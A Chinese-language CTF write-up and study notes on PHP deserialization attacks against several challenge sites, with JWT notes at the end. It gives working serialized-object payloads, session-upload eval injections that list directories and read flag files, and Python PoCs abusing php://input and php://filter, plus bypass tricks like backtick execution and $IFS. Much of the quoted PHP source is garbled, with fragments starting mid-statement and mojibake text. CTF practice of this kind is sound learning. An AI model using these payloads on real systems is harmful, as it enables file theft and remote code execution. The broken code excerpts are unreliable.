反序列化专题
http://web.jarvisoj.com:32768
此题为反序列化中最简单的一类题目:源码中存在反序列化函数,类中有可利用的函数,并且该函数在反序列化后被调用。只需要通过反序列化漏洞,改变类中属性的值即可。
showimg.php: 文件读取漏洞
index.php :
readfile();
?>
shield.php :
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
看到这里,发现flag在pctf.php中,而showimg.php文件读取函数中过滤了pctf关键字。而index.php中,存在反序列化触发点可执行readfile函数。
payload:
访问:
http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到flag:
http://web.jarvisoj.com:32784/
题目源码:
mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
源码中提示了session的序列化引擎。考虑能否利用session触发反序列化。刚好,题目可以获取phpinfo信息。发现session.upload_progress.enabled开启,则通过上传文件可以控制session内容,从而在服务器读取session时,会触发反序列化。
再通过phpinfo查看disable_functions,发现system,exec等函数被禁用。
首先,构造上传页面upload.html:
上传文件,抓包。
构造序列化poc:
mdzz = 'var_dump(scandir(dirname(__FILE__)));';
$b = serialize($a);
echo $b;
#O:5:"OowoO":1:{s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";}
改造payload(头部加|,双引号转义):
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}
将burp抓到的post请求,修改文件名为上述payload。
得到flag所在文件: “Here_1s_7he_fl4g_buT_You_Cannot_see.php”
再使用:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag:
$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
http://106.14.114.127:21000/
http://106.14.114.127:21001/
魔法方法,构造pop链
skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
?>
http://106.14.114.127:21002/
利用php原生类SoapClient实现ssrf
http://123.206.87.240:8006/test1/
php://input,绕过file_get_contents判断
F12查看源码:
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!
";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
这段代码有两个漏洞点:file_get_contents(file),文件内容判断用php://input绕过,利用文件包含漏洞读取hint.php源码。
payload如下:
import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":"admin","file":"php://filter/read=convert.base64-encode/resource=hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)
读取到hint.php源码:
file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
提示存在flag.php文件。首先尝试用文件包含漏洞,直接读取flag.php文件,发现被过滤:
Response body: hello friend!
不能现在就给你flag哦
另外,发现flag类的魔法函数__tostring()可用于读取flag。需要找到一个反序列漏洞,并使用echo触发。使用文件包含漏洞,获取index.php完整代码:
";
if(preg_match("/flag/",$file)){
echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
关键代码段为:
$password = unserialize($password);
echo $password;
满足反序列化触发条件。构造payload:
最终poc:
import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":'O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}',"file":"hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)
http://106.14.114.127:21004/
魔法方法,构造pop链
魔法方法
方法的调用不会保存到序列化中,因此反序列化后,函数的触发是问题的关键。
魔法方法:满足条件时,自动触发。不需要调用。
手册中,可查魔法方法:__toSting(打印时),__call(调用不存在的方法时)等
在类外部赋值,只对public变量有效。private变量,需要再类内部赋值。
构造序列化后,urlencode再发送。
考点:
pop链:串联序列化
结合session,session是通过序列化存在服务器端。session的序列化引擎有三种。一般是php(默认)和php_serialize组合利用。存储用php,反序列化用php_serialize,会出问题。需要控制session内容(uploadgress。。。=on),构造文件上传,filename会在session文件中出现。服务器接收session后,会自动对其反序列化。
payload要加|,做转义。代码中没有序列化的,用session或phar触发。
parse_str 函数可以做变量覆盖。
call_user_func_array危险函数
反引号可以直接执行命令。$IFS代替空格。
绕过__wakeup()是cve,有绕过漏洞。
union select (。。。。),2,3 结合
利用类的同名函数触发
&取地址,用来绕过===,
php原生类同名函数:
soapClient->ssrf
sqlite3,创建空白文件,
simpleXML。。。任意文件读取
Dir。。。列目录
.htaccess 可定义后缀的解析方法。
php脚本快速找同名函数原生类。
可以利用php自带类中的同名方法。
要根据题目的环境,使用脚本找同名原生类。
找原生魔法方法的脚本。
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
http://www.wupco.cn/?p=4486
CIRL注入,构造http头。
json web token :JWT用于身份验证,保持状态
防串改,不防读取。串改需要伪造签名(需要泄露秘钥)。
结构:header+payload+Signature
攻击方法:
1.修改算法攻击(HS256等):只有公钥等化,改算法为对称算法活着空